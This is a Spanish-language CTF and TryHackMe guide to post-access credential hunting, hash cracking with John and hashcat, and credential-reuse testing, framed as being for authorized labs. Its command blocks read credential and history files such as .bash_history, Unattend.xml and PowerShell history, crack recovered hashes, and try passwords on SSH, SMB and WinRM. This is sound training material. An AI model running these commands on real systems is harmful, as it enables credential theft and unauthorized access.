

Guia practica - Credenciales, Cracking y Loot para THM / CTF

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Una credencial encontrada suele desbloquear mas que un exploit. Esta guia ordena donde buscar, como convertir hashes y como probar reutilizacion sin perder control.

1. Fuentes de credenciales

Lugar	Que buscar
Web root	.env, config.php, wp-config.php, web.config, appsettings.json.
Homes	.ssh, history, notes, Desktop, Downloads, backups.
Shares	Backups, IT, Dev, Deploy, SYSVOL, NETLOGON, scripts.
Bases de datos	users, admins, credentials, config, settings.
Windows	cmdkey, Unattend.xml, PowerShell history, IIS configs.
Linux	.bash_history, /var/www, /opt, /var/backups, cron scripts.

2. Busqueda rapida Linux

```
find / -name '*pass*' -o -name '*cred*' -o -name '*.kdbx' 2>/dev/null
grep -RniE 'pass|password|passwd|pwd|secret|token|api[_-]?key' /var/www /opt /home 2>/dev/null
find /home -name '.ssh' -type d 2>/dev/null
cat ~/.bash_history 2>/dev/null
ls -la /var/backups /backup /opt 2>/dev/null
```

3. Busqueda rapida Windows

```
cmdkey /list
dir /s /b *pass* *cred* *config* *backup* *.kdbx 2>nul
findstr /si password *.txt *.ini *.config *.xml *.json 2>nul
type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
```

4. Conversiones John frecuentes

```
zip2john secret.zip > zip.hash
rar2john secret.rar > rar.hash
keepass2john vault.kdbx > keepass.hash
ssh2john id_rsa > id_rsa.hash
office2john document.docx > office.hash
pdf2john file.pdf > pdf.hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt
```

- Si John no reconoce un formato, revisa si necesitas herramienta *2john especifica.
- Guarda siempre archivo original y hash convertido.

5. Hashcat basico

```
hashid hash.txt
hashcat --example-hashes | grep -i ntlm -n
hashcat -m 1000 ntlm.hash /usr/share/wordlists/rockyou.txt
hashcat -m 3200 bcrypt.hash /usr/share/wordlists/rockyou.txt
hashcat --show -m 1000 ntlm.hash
```

- Identifica modo antes de lanzar.
- En THM, rockyou + reglas simples suele bastar para hashes de reto.
- Si es lento, revisa si el hash es realmente crackeable offline o necesitas otro vector.

6. Reutilizacion controlada

Una password puede valer para SSH, SMB, WinRM, panel web, base de datos o sudo.

```
ssh user@$IP
smbclient -L //$IP -U 'user%password'
nxc smb $IP -u user -p password
nxc winrm $IP -u user -p password
mysql -h $IP -u user -p
sudo -l
```

- En AD, evita spraying agresivo. Usa usuarios reales y una password candidata con control.
- Registra donde funciona cada credencial y que permisos dio.

7. KeePass y archivos cifrados

```
keepass2john database.kdbx > keepass.hash
john --wordlist=/usr/share/wordlists/rockyou.txt keepass.hash
john --show keepass.hash
kpccli --kdb database.kdbx
```

- Busca keyfiles junto al .kdbx.
- Si encuentras notas de usuario, usalas para crear wordlist pequena.

8. Checklist loot

- Crear loot/ y separar hashes/, creds/, files/.
- No mezclar credenciales validas con basura sin etiquetar.
- Registrar fuente: archivo/ruta/comando/usuario.
- Probar reutilizacion por servicio, no a ciegas.
- Volver a enumerar despues de cada credencial nueva.